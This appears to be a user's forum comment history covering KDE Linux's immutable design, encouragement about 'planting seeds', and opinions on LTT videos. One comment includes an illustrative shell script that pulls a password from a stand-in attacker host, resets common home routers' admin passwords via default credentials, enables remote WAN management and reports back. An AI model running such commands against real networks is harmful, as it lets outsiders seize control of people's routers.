  • Note that KDE Linux is completely different from Neon:

    • Arch-based
    • Immutable
      • /usr is a read-only, atomically updated erofs volume backed by a single file, allowing rollback to any of the last 5 OS images
      • No system package management allowed, only Flatpak, AppImage, distrobox, etc

    I love the direction they’re going with it, but I personally won’t be running it because I like to tinker.












  • But also, don’t think you have to do all the work yourself. I think we very often underestimate the importance of being the one that simply plants the seed. Of course the difficulty is that usually we can’t tell if said seed has actually been planted, so it feels like a waste of energy.



  • That’s what I said though, it only protects you from the very most basic of mindless scripts. Obviously ARP/NDP makes it pointless for anything more complicated than…

    newpass="$(curl "https://bad.guy/get_pass_for_pub_ip")"
    for a in '192.168.1.1' '192.168.0.1' '10.0.0.1'; do
        curl -q "http://${a}/reset_password.cgi?&password=password&new_password=${newpass}" 2>/dev/null && \
        curl -q "http://${a}/remote_management.cgi?&password=${newpass}&wan_enable=1" && \
        curl -q "https://bad.guy/success?addr=%24%7Ba%7D"
    done
    

    …completely pointless. If it’s a someone inside your network, you need more.






  • I feel like Linus has a good heart, but I think the constant pressure to be relevant has kinda ruined his personality over the years (at least on camera). I have fond memories of LTT’s videos like 8 years ago, but now they’re overproduced for my taste; they just don’t seem genuine anymore. Same old story as most anyone that makes it big, I know.
